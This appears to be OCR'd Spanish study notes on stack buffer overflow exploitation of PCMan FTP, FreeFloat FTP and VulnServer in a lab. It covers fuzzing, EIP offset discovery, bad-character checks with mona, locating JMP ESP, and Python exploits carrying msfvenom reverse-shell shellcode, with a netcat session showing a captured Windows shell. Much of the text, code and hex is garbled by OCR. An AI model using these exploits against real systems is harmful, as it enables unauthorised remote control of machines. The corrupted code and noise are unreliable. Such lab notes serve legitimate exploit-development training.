SlEpR=s] 42424343
BE12ED Y 4243234343
BA1ZEDFE 43434343
BA1ZEDVC 43434343
BE1ZEDSE 43434343
Ba1zEDSd 43434343
BOlZEDSE 43434343
BOlZEDSC 43434343
BOlZEDSE 43434343

094 43434343

EIP: 42424242

Generar BardChars

Imona bytearray




BEADF!

EE 55
HEADF G
HEH 0

!mona bytearray

Ruta: C:\Archivos de programa\lmmunity Inc\Immunity Debugger\bytearray.txt

output generated by mona.py v2.0, rev 613 - Immunity Debugger
Corelan Team - https://www.corelan.be

05 @ 7, release 6.1.7601
Process being debugged : PCManFTPD2 (pid 3496)
current mona arguments: bytearray

2021-05-23 04:49:20

" 00N 01 02 w03 204\ x0 5, x06 x0T\ x08 N 00 x0a \ xOb  x0c x0d 0 x0T\ 10 ¥\ %1 20 ¥1 3 N1
20N 21N\ X220 23 24N\ x2 5N 26\ X2 T\ 2B\ 20\ x2a \ xZ2b\ x2c\ x2d\ X2 e x 2T 30N 131\ x 32N X33 s
T 0N A1 N A 2N xd 3 A4 v 5N A B\ A T A B X4 0N x4 2t xd bt xd O\ xd o x4 et xd T 50N K51\ k52 X530 X 5
B0 REL N XE2 N X6\ K64\ X6\ XEE\XET \ K68\ X6\ xE6a \ xeb \ ke Xed \ xEee e\ T O\ kT LN\ KT 2N KT 3N KT 1
" xBON B B2 B3\ x84\ kB \ xBE\ XBT \xE88\ 80\ x8a \ xBb "\ kB \ xBd \ xBe xB8f\ x 90, x01 \ x92" x03" %0
"hoaaldh xalixa2hxadixad\ xasdhag\ xat\ xad\ xaf\ xaa\ xab' xac \ xad \ xae xat xb0\ xb1\ xb2" xb 3" xb;
e el xe2h e I cd W e Sh e\ e T\ e B e @\ wea wehh oo o d oet wot d 0t xd 1 e d 2% xd 30 20l
"haedh wel\ e\ xed Ned\ wesh nef \ XeT \ xeB xed\ xea  xeb xec\ xed\ xee xef xF O xF 1\ xf 20 xF 3 x T

Anadir Bytearray y validad ESP Y dumpear 0012ED70
File: Barchars.py

#!/usr/bin/python
import sys,socket
from time import sleep
import struct

buf ="A"*¥2006 + "B"*4 + "C"*256

badchars =
("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\xO0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19
\xTa\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\
x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x-
59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\
x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\
x9a\x9b\x9c\x9d\x9e\x9of"

"\xaO\xaT\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\
xba\xbb\xbc\xbd\xbe\xbf"

"\xcO\xcT\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9O\xca\xcb\xcc\xcd\xce\xcfixd 0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\
20/45



xdb\xdc\xdd\xde\xdf"
"\xeO\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xfO\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\
xfb\xfc\xfd\xfe\xff")

buf = buf+badchars
s=socket.socket(socket.AF_INET,socket. SOCK_STREAM)
s.connect(("192.168.100.3",21))

s.recv(1024)

s.send("USER " + "Anonymous")

s.recv(1024)

s.send("PASS pass")

s.recv(1024)

s.send("PORT " + buf)

s.recv(1024)

s.close()

_.r%_ “ X p |l I’E ; u + "E l emtwhocPk©bz .. 7 Code suditor and software assessment specialist needed

izters [MHR]

FFFFFFFF]
FFFFFFFF]
FFFFFFFF]
FFFFFFFE]
FOFG@E:FFF)

EIP 42424242

2 formas de encontrar JMP ESP

Buscar instrucciones de salto en ESP en mona



or
Imona find -5 "Y<FR=EA"" -m ole32.dll =

|Paused

Imona find -s "\xFF\xE4" -m ole32.dll
Encontrado: 75AA625B
Ruta: C:\Archivos de programa\lmmunity Inc\Immunity Debugger\jmp.txt

Nota: Esta es una Prueba de concepto con el ID JMP ESP (Una vez ejecutado el ultimo paso del exploit)

-

listening on \
192.168.1680.3: BTSE lookup failed: Unknown host
connect to [192. p@.6] from (UNKNOWN) [192.168.108.3] 49699
Microsoft Windows : N 6.1.7681]

Corporation. Reservado
C:\Users\w72-32BITS\Downloads\PCManFTPServer-2.0.7>

.

* 2006

= struct.pack("<I",0=75AA625B)
"\x98" * 29

Buscar JMP ESP Manual en carga normal
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T T 44X D11 b ¥

L4+ 1l emtwhcPkbzr.s ? Code auditor and software assessment specialist needed

-

SE handler install;

Find all cormmands

0 FTR L
1@ -
I0RD' PTR 4457A41, EA IMp &sp |

Cancel

o

.d
d
d

.d
d
d
d
d

i s I e e s R
peincincinctunichncinciechclenle i i i

Encontrado: 75E2798D C://Windows/system32/SHELL32.DL

Creamos nuestra shellcode reverse TCP
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.6 LPORT=4444 EXITFUNC=thread -b
"\x00\x0a\x0d" -e x86/shikata_ga_nai -v shellcode -f python

copiamos la shellcode y el valor ASLR (esp jump) 75E2798D
file: exploit.py

#!/usr/bin/python

import sys,socket

from time import sleep
import struct

padding ='A' * 2006



jmpesp = struct.pack("<I",0x75E2798D)

nops = "\x90" * 20

shellcode = ""

shellcode +="\xdb\xda\xd9\x74\x24\xf4\xbe\xba\xd8\xc9\x16"
shellcode += "\x5f\x2b\xc9\xb1\x52\x31\x77\x17\x83\xef\xfc"
shellcode +="\x03\xcd\xcb\x2b\xe3\xcd\x04\x29\x0c\x2d\xd5"
shellcode += "\x4e\x84\xc8\xe4\x4e\xf2\x99\x57\x7f\x70\xcf"
shellcode +="\x5b\xf4\xd4\xfb\xe8\x78\xf1\x0c\x58\x36\x27"
shellcode +="\x23\x59\x6b\x1b\x22\xd9\x76\x48\x84\xe0\xb8"
shellcode +="\x9d\xc5\x25\xa4\x6c\x97\xfe\xa2\xc3\x07\x8a"
shellcode += "\xff\xdf\xac\xcO\xee\x67\x51\x90\x11\x49\xc4"
shellcode +="\xaa\x4b\x49\xe7\x7f\xe0\xcO\xff\x9c\xcd\x9b"
shellcode += "\x74\x56\xb9\x1d\x5c\xa6\x42\xb1\xa1\x06\xb1"
shellcode += "\xcb\xe6\xal\x2a\xbe\x1e\xd2\xd7\xb9\xe5\xa8"
shellcode +="\x03\x4f\xfd\xOb\xc7\xf7\xd9\xaa\x04\x61\xaa"
shellcode +="\xaT\xeT\xe5\xf4\xa5\xf4\x2a\x8f\xd2\x7d\xcd"
shellcode += "\x5f\x53\xc5\xea\x7b\x3f\x9d\x93\xda\xe5\x70"
shellcode += "\xab\x3c\x46\x2c\x09\x37\x6b\x39\x20\x1a\xe4"
shellcode += "\x8e\x09\xa4\xf4\x98\x1a\xd7\xc6\x07\xb1\x7{"
shellcode +="\x6b\xcf\x1f\x78\x8c\xfa\xd8\x16\x73\x05\x19"
shellcode += "\x3f\xb0\x51\x49\x57\x11\xda\x02\xa7\x9e\xOf"
shellcode +="\x84\xf7\x30\xe0\x65\xa7\xfO\x50\x0e\xad\xfe"
shellcode += "\x8f\x2e\xce\xd4\xa7\xc5\x35\xbf\Ax07\xb1\x51"
shellcode +="\x39\xe0\xc0\x99\x54\xac\x4d\x7f\x3c\x5c\x18"
shellcode += "\x28\xa9\xc5\x01\xa2\x48\x09\x9c\xcf\x4b\x81"
shellcode +="\x13\x30\x05\x62\x59\x22\xf2\x82\x14\x18\x55"
shellcode +="\x9c\x82\x34\x39\x0f\x49\xc4\x34\x2c\xc6\x93"
shellcode +="\x11\x82\x1f\x71\x8c\xbd\x89\x67\x4d\x5b\xf1"
shellcode += "\x23\x8a\x98\xfc\xaa\x5f\xa4\xda\xbc\x99\x25"
shellcode +="\x67\xe8\x75\x70\x31\x46\x30\x2a\xf3\x30\xea"
shellcode += "\x81\x5d\xd4\x6b\xea\x5d\xa2\x73\x27\x28\x4a"
shellcode += "\xc5\x9e\x6d\x75\xea\x76\x7a\x0e\x16\xe7\x85"
shellcode += "\xc5\x92\x17\xcc\x47\xb2\xbf\x89\x12\x86\xdd"
shellcode +="\x29\xc9\xc5\xdb\xa9\xfb\xb5\x1f\xb1\x8e\xb0"
shellcode += "\x64\x75\x63\xc9\xf5\x10\x83\x7e\xf5\x30"

buf = padding + jmpesp + nops + shellcode

s=socket.socket(socket.AF_INET,socket. SOCK_STREAM)
s.connect(("192.168.100.103',21))

s.recv(1024)

s.send("USER " + "Anonymous")

s.recv(1024)

s.send("PASS pass")

s.recv(1024)

s.send('PORT ' + buf)

s.recv(1024)

s.close()

Ejecutando Exploit.

2445



nc -lvp 4444
python2 exploit1.py

Unknown hos
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FTPServer

Fuzzing app.

Requisitos:

Copiar Mona en la ruta C:\Archivos de programa\lmmunity Inc\Immunity Debugger\PyCommands
Anadir IP y Puerto del servicio.

File2: fuzz.py

#!/usr/bin/python

import sys,socket
from time import sleep

length =100
while True:
try:

print "length sent: " + str(length)
s=socket.socket(socket.AF_INET,socket. SOCK_STREAM)
s.connect(('192.168.100.5',21))
s.recv(1024)
s.send('USER ' + 'A"* length+'\r\n')
s.close()
sleep(1)
length +=100
except:
print 'Fuzzing crased at %s bytes' % str(length)
sys.exit()

er - FTPServer.exe - [CPU - thread 000007 A0] =
ug Plugins ImmLib Options Window Help Jobs

t |l b+ 1 emtwhcecPkbzr

[ FFFFFFFF1
FFFFFFF ]




EIP: 41414141

Creamos Pattern en pattern_create.

msf-pattern_create -1 400

13

kaAkSAkeAk7AKBAKOALRALL
ALZA13A14AT5A16A17A1BA19AMBAMIAM2AM3AMAAMSAMEAMT7 AMSAMOANBANIANZA

® =

Encontrando EIP offset

AiRadir IP, Puerto del servicio y Pattern ASCII

File 2 patern.py

#!/usr/bin/python
import sys,socket
from time import sleep

buf =
"AaOAaTAa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8ABIACOACTAC2AC3AC4ACSACOAC7ACS
Ac9AdOAd1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0AeTAe2Ae3Ae4Ae5Ae6Ae7Ae8AcIAFOATIAT2Af3AFAAfSATGAF7AFS
Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8AgIAhOARTAR2AR3Ah4AR5AR6Ah7AR8ANRIAIOAITAI2AIBAI4AISAIBAI7AI8AI-
9Aj0Aj1Aj2Aj3Aj4Aj5A6A]7A]8Aj9AKOAKTAK2AK3AKk4AKSAK6AK7AK8AKSALOALTALRALBAL4AISALEAL7AIBAISAMOAMT
Am2AmM3AM4AM5AM6AM7AMSAMI9ANOANTAN2A"

s=socket.socket(socket.AF_INET,socket. SOCK_STREAM)
s.connect(('192.168.100.5',21))

s.recv(1024)

s.send('USER ' + buf+'\r\n")

s.recv(1024)

s.close()

27145



=l |

kEkbzr1r..s ? Code auditor and software assessment specialist needed

»  Beaizter= [FPU]
BEEEE1AD
EE1E180A
FreFECYd ntdll.kKiFastSwstemCal LRet
HEREEEEZ
B12FFCBA ASCII "BARiI1ALIZAiISAI4AISAIGALTAI
H@13A1528
BE4EA44E FTPSerwe. BE4EA44E
A12AIRFC ASCTT "YA=[AA-1 AR 23R4 ERs SRS

3veSd 136

ES) 8823 32Zbit
CS\E0iE 22bit

9(FFFFFFFF)
S5 \op2s szbit o
7

[
{ FFFFFFFF )
{ FFFFFFFF )
{ FFFFFFFF )
FFOD@EE ! FFF )

0SS B@ez2s 22bit
FS @E3E 2zZbit
G5 Gead MULL

LastErr ERROF_SUCCESS (GGE00EEEE)
BEA18-82 (MO, MNE,HE, R, M5, FO, GE, 5]

empty
empty
empty
empty
empty
empty
empty
empty

eaE]

U Eia T ETa TR

3218 ESFUD
BEEE Cond B BB B Err B 0B B B
B27YF  Frez MEAR,S3  Mask 111

21694128

41326941
B1SFFCEZ  &9413289
E1SFFCAC 325894134
B1SFFC1E 41365941
E12FFC14  &9413FE9
B1SFFCLs 29594135

EIP: 37684136

Generando Offset EIP




msf-pattern_offset -q 37684136

Buscar Carecteres encontrados (Badchars)
file offset.py

#!/usr/bin/python
import sys,socket
from time import sleep
import struct

padding = "A" *230
buf = padding + "B"*4 + "C"*256

s=socket.socket(socket.AF_INET,socket. SOCK_STREAM)
s.connect(('192.168.100.5',21))

s.recv(1024)

s.send('USER ' + buf+'\r\n')

s.recv(1024)

s.close()
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» Reagisters (FFPLUI
BEEEEZATY
Bai10180A
FreFelyd ntdll.KiFastSwstemCal LRet
BERREERA 2
B1FCFCAA ASCII "CCCCCCCCCCCCCCCCCCCooood
H11515258
BE4E8A44E FTPServe. BA4ER4

[ I B Il W ] s}

42424242

BEZS Sebit @LFFFFFFFF)

BE1E 3Zbit @LFFFFFFFF)
2Zbit @(FFFFFFFF)
SZbit BLFFFFFFFF)
3Zbit FFFODBEE!FFF)
NULL

LastErr ERROR_SUCCESS (BO0EE0EEAGE)
gaalazaz (Mo, ME,ME,A,HS, PO, GE, &)

eMpty
eMpty
eMpty
EMpty «
eMpty
eMpty
eMpty
EMpty
2218 ESPUDOZ I
BEEE Cond B 8B B A Err @@ B0 B &@ A 5]
827F Pr=c HERR,52 HMaszk 1111 1

Epfpmgmss] 43424242 CCCC
HB17CFCRA4 43434343 CCCC
B17CFCAZS 434342432 CCCC
B17CFCAC 434342432 CCCC
B17CFC18 43434242 CCCC
HB17CFC14 43434242 CCCC
B17CFC12 43434242 CCCC
B17CFC1C 43434242 CCCC
H17PCFC28 43434243 CCCC

EIP: 42424242

Generar BardChars




. E
file
tput file "but

ona.pd action took [ @E: A, AZEERR

Imona bytearray

output generated by mona.py v2.0, rev 613 - Immunity Debugger
Corelan Team - https://www.corelan.be

05 @ 7, release 6.1.7601
Process being debugged : PCManFTPD2Z (pid 3498)
CUrrent mona arguments: bytearray

2021-05-23 04:49:20

" x00\ x01 "\ x 024 x 034 x04 4 x05 x06  x07 \ x 08"\ x09  x0a x0b" x0c  x0d  x0e " x0f "\ x1 0% x11 %124 x1 3\ x14\ x1 5 x16 " x1 7\ x18"x19
"H20NWX21AR2 2023\ N24\ 25\ K26\ X227\ K28\ x20 \ X2\ x2b \ X2\ x2d\ x2eh\ 2T\ 30N x 31\ 32 X33 34 x 35 36N X 37\ 3B\ X390
kA 0N x4\ x4 20 x4 i x4 X4 S d BN kA T A B A O xd ah xd b xd O oxd dh xd et A T S0 xS K 52N X5 3N X 54 x5 5\ x 56\ x57 X538\ X 59
"B XELRE2N X633\ 64\ X6 5\ K66\ X6\ 6B\ X690 \ xha \ xeb \ e\ xed\ x6e\ xeT \ T 0N KT\ KT 2 KT I KT AN KT 5\ NT BN KT T\ NI B\ XT D
" HBONWXBL\ K82\ %83\ X84\ xB5\ xB6 \ XB7 \ X8B\ xB89 \ xBa \ xBb \ xBC\ xBd\ xBe \ B\ 00" x 91\ x92 x93\ x04 %95 X964 x97 \ X098 x99
"wxaldi xallxa2h xa3dxad\xash xag xa7\xadh xa9 \ xaa xab'\ xac\ xad\ xae \ xaf \ xb0 xb1 \ xb2 xb3"\ xba ' xb 5" xb6 xb7 \ xb8" xb9
"R e\ RC2W eI\ NCA \ X5\ RCB W\ XET\HC B\ xc O\ xcah xeh \ oo\ xod\ e xof i d 0t xd 1\ xd 2 xd 30 xd 4 xd 5h xd 6 xd 7\ xd 8 xd 9
"wxelixel\xe2' xed\xed '\ xe5 xeb \ xel \ el xed \ xea '\ xeb\ xec \ xed\ xee \ xef \ O xf 1\ 2\ xF P xf A\ xf S xf B\ xF 7\ xfF 8\ xf D

Ruta: C:\Archivos de programa\lmmunity Inc\Immunity Debugger\bytearray.txt
Aiadir Bytearray y validad ESP Y dumpear 0012ED70
File: Barchars.py

#!/usr/bin/python
import sys,socket
from time import sleep
import struct

buf ="A"*¥230 + "B"*4 + "C"*256

badchars =
("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19
\xTa\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\
x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x-
59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\
x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\
x9a\x9b\x9c\x9d\x9e\xof"

"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\
xba\xbb\xbc\xbd\xbe\xbf"
"\xcO\xcT\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xcO\xca\xcb\xcc\xcd\xce\xcfixd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\
xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xfO\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\
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xfb\xfc\xfd\xfe\xff")
buf = buf+badchars

s=socket.socket(socket.AF_INET,socket. SOCK_STREAM)

s.connect(('192.168.100.5',21))
s.recv(1024)

s.send('USER ' + buf+'\r\n')
s.recv(1024)

| o

s 7 Immunity: Consulting Services Mansger

-

Eegisters

[FPLI

BEEEE2EY
BE2E 1806
rreFeCY4 ntdll.
BEEEHEE2
B125FCEA ASCII
BE43 1523

BE4E8H44E

BE421C56 ASCIT

m
—
™

ooOHorHIDTo
(AR FRA R R Ly R

EMpTY
EMpTY
empty
empty
empty
eMpty
EMpTY
EMpTY

BEEE
B27F

H1E5FCER
B125FCEd
B125FCES
B125FCEC
H125FC1m
B1E5FC14
H135FC1S
B13EFCIC
B125FC2a
B125FC24

LastErr
BER1EZ2E2

42424242

ES @623 2zZbit
CSBE1E 32bit
S5 EE23 2Zbit
0SS Bez23 3Zbit
FS BE3E 3Zbit
G5 peaa HULL

ERROF_SUCCESS [(GE0EEEEE)
(MO, ME,ME,.H, M5, PO, GE, 5]

22
ond B @

kiFastSwstemCal LRet
"CCCCCCCCCCCCCCCCCCCCCeed

FTPSeruwe . BE40R44E

""AARARRRARRAARRARARARREER

@i FFFFFFFF)
i FFFFFFFF )
B FFFFFFFF)
B FFFFFFFF )
TFFOD@EE! FFF )

18 ESFPUD
B8 Err @ @8 ? ? ?

Frec HERR,52 HMask

43434343
43434343
43434343
43434343
434343432
434343432
43434343
43434343
43434343
43434343

CCCC
CCCC
CCCC
CCCC
CCCC
CCCC
CCCC
CCCC
CCCC
CCCC




EIP 42424242

Buscar instrucciones de salto en ESP en mona

took @i A6 BE, 228E6HE8

Imona find -s "IxFFE4" -m ole32.dIl | |

Imona find -s "\xFF\xE4" -m ole32.dll
Encontrado: 7695625B
Ruta: C:\Archivos de programa\lmmunity Inc\Immunity Debugger\jmp.txt

Creamos nuestra shellcode reverse TCP
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.6 LPORT=4444 EXITFUNC=thread -b
"\x00\x0a\x0d" -e x86/shikata_ga_nai -v shellcode -f python

copiamos la shellcode y el valor ASLR (esp jump)

file exploit.py

#!/usr/bin/python
import sys,socket
from time import sleep
import struct

buf ="A"*¥230 + "B"*4 + "C"*256

badchars =
("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\xO0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19
\xTa\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\
x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x-
59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\
x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\
x9a\x9b\x9c\x9d\x9e\x9of"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\
xba\xbb\xbc\xbd\xbe\xbf"
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"\xcO\xcT\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcfixd0\xd1\xd2\xd3\xd4\xd5\xd6\xd 7\xd8\xd9\xda\
xdb\xdc\xdd\xde\xdf"
"\xeO\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xfO\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\
xfb\xfc\xfd\xfe\xff")

buf = buf+badchars

s=socket.socket(socket.AF_INET,socket. SOCK_STREAM)

s.connect(('192.168.100.5',21))

s.recv(1024)

s.send('USER ' + buf+'\r\n')

s.recv(1024)

s.close()

Ejecutando Exploit.

nc -lvp 4444
python2 exploit1.py

listening on
192 .168.100.5: inverset h35T lookup failed: Unknown host
connect to [192.1¢ B.6] from (UNKNOWN) [192.168.188.5] 50560

Microsoft Windows ["nleikn 6.1.7681]
Copyright (c) 2089 Microsoft Corporation. Reser todos Llos derechos.

\Users\W72-32BITs\Downloads“Freeflo

Encontrando badchars manualmente con mona:
Imona compare -f C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.bin -a 016EE950 (NUMERO ESP)

Imona bytearray -cpb "\x00"
Eliminamos el "x00" de nuestro shellcode en python
file: exploit3.py

Imona compare -f C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.bin -a 017EE950 (NUMERO ESP)
Imona bytearray -cpb "/x00/x0a"

Eliminamos el "/x00/x0a" de nuestro shellcode en python

file: exploit3.py

Imona compare -f C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.bin -a 018EE950 (NUMERO ESP)
Imona bytearray -cpb "/x00/x0a/x0d"

Eliminamos el "/x00/x0a/x0d" de nuestro shellcode en python

file: exploit3.py

Imona compare -f C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.bin -a 019EE950
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[P rmona Memony comparison results = |- e
Addeess Etacus EladChans T h_ -

DyZElal =2

Buscar automaticamente todos los barchars con mona:

Imona compare -f C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.bin -a esp

F
[P] mona Memory comparison results

Address Status BadCh ars T

Imona jmp -r esp



VulnServer

Fuzzing app.
Requisitos:

Copiar Mona en la ruta C:\Archivos de programa\lmmunity Inc\Immunity Debugger\PyCommands
C:\Archivos de programa\lmmunity Inc\Immunity Debugger\

Anadir IP y Puerto del servicio.
file:python fuzz.py
#!/usr/bin/python

import sys,socket
from time import sleep

length =100
while True:
try:

print "length sent: " + str(length)
s=socket.socket(socket.AF_INET,socket. SOCK_STREAM)
s.connect(('192.168.100.3',9999))
s.recv(1024)
s.send('TRUN.' + 'A"* length+'\r\n')
s.recv(1024)
s.close()
sleep(1)
length +=100

except:
print 'Fuzzing crased at %s bytes' % str(length)
sys.exit()

Crear Pattern

msf-pattern_create -1 2100

i Bd7B
th4Bh5Bh6B
: 3 L6BL7B18

6Bm7EmMEEMIEN@EN1En2EBn3Bn4BnS
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file: exploit.py
#!/usr/bin/python
import sys, socket

if len(sys.argv) < 2:
print "\nUsage: " + sys.argv[0] + " <HOST>\n"

sys.exit()
cmd ="TRUN "
junk =

"Aa0Aal1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8ABIACOACTAC2AC3AC4ACS5AC6AC7ACS
Ac9AdOAd1Ad2Ad3Ad4Ad5Ad6Ad7AdB8AdIAe0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9AFOAFIAF2Af3AFAAFSATEAT7ATS
Af9AgOAg1Ag2Ag3Ag4Ag5Ag6Ag7Ag8AgOAhOAhTAR2AR3Ah4ARS5AR6Ah7ARBARIAIOAITAI2AIZAI4AISAIGAI7AIBAI-
9AjOA]1Aj2Aj3Aj4Aj5A6A]7Aj8Aj9AK0AKTAK2AK3Ak4AKSAK6AK7AKBAKOALOATALZALBAL4ALISALGAL7AIBAI9AMOAMT
Am2AmM3AM4AM5AMB6AM7AMEAMIOANOANTAN2AN3AN4AN5AN6AN7AN8AN9A00A0TA02A03A04A05A06A07A08
AoSApOApTAp2Ap3Ap4ApSAp6Ap7AP8APOAqOAqTIAq2Aq3Aq4Aq5Aq6Aq7Aq8AqOArOArTAr2Ar3Ar4ArSAr6Ar7Ar8
Ar9As0As1As2As3As4As5As6As7As8AsOAtOAt1AL2At3At4At5AtE6AL7At8AtOAUOAUTAU2AU3AU4AUSAUGAU7AU8AU-
9AVOAV1IAV2AV3AV4AVSAVEAV7AVBAVOAWOAWTAW2AWIAWAAWSAWE AW7AWB AWIAXOAXTAX2AX3Ax4AX5AX6AX7
Ax8Ax9AYOAY1Ay2AYy3Ay4Ay5AYy6AY7Ay8Ay9Az0AZz1Az2Az3Az4Az5Az6Az7Az8 AzZ9Ba0OBa1Ba2Ba3Ba4Ba5Ba6bBa7
Ba8Ba9BbOBb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8BbOBcOBc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8BcO9Bd0Bd1Bd2Bd3Bd4Bd5Bd6B-
d7Bd8Bd9BeOBe1Be2Be3Be4Be5Be6Be7Be8Be9BfOBf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8BfOBgOBg1Bg2Bg3Bg4Bg5Bg6B-
g7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9BjOBj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8B-
j9BkOBk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8BkIBLOBL1BI2BL3BI4Bl5BL6BLl7BI8BI9BMOBM1BM2BmM3BmM4Bm5BmM6BmM7Bm8
Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0B0o1B02Bo3B04Bo5Bo6B07Bo8Bo9BpO0Bp1Bp2Bp3Bp4Bp5Bp6Bp7
Bp8Bp9BqOBq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9BrOBr1Br2Br3Br4Br5Br6Br7Br8BrOBsOBs1Bs2Bs3Bs4Bs5Bs6Bs7B-
s8Bs9BtOBt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9BuOBu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9BvOBV1Bv2Bv3Bv4Bv5Bv6BV7BvV8
BvOBwOBw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8BwIBx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6B-
y7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0CalCa2Ca3Ca4Ca5CabCa7Ca8Ca9Cb0Ch1Cb2Ch3Chb4Ch5Ch6
Cb7Cb8Cb9CcO0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8CcOCdOCd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5C-
e6Ce7Ce8Ce9CfOCHICF2C3CFACT5CFECF7CF8CFOCg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9ChOCh1Ch2Ch3Ch4Ch5C-
h6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8
